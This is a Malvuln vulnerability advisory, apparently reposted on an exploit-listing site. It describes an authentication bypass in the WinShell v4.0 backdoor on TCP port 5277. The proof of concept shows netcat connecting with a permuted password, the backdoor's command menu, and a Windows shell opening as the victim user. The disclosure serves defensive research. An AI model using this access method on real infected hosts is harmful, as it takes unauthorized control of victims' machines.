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## https://sploitus.com/exploit?id=PACKETSTORM:163377
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/83fe2cc7aedc452d71c751053a2112c4.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.WinShell.40  
Vulnerability: Authentication Bypass Command Execution  
Description: Malware WinShell v4.0 by janker listens on TCP port 5277 and allows for setting a password for remote access. However, after setting the password any combination of the characters used for the password will allow access. E.g. if the password is set to "abc123" interestingly the chars "eutn" allows access. Also, password combinations like: abc321, 321abc, 132abc, a1b2c3, cba123, bca321, bac321, cab123, cab231, cab312, cab213, ab1c23 will also authenticate successfully. Sometimes when attempting to authenticate with a derived password and it fails, try it again and boom it works!  
Type: PE32  
MD5: 83fe2cc7aedc452d71c751053a2112c4  
Vuln ID: MVID-2021-0278  
Disclosure: 07/03/2021  
  
Exploit/PoC:  
Set password to Malvuln123  
  
nc64.exe x.x.x.x 5277  
Password:Malvunl321  
  
WinShell v4.0  
(C)2001 by janker  
http://www.bugsos.com  
  
? for help  
CMD>?  
  
i Install  
u Uninstall  
w Where  
r Reboot  
p Poweroff  
q Quit  
e End  
s Shell  
url download  
  
? for help  
CMD>s  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
  
C:\Users\Victim\Desktop>whoami  
whoami  
desktop-2c3iqho\victim  
  
AND  
  
nc64.exe x.x.x.x 5277  
Password:laMvuln123  
  
WinShell v4.0  
(C)2001 by janker  
http://www.bugsos.com  
  
? for help  
CMD>  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).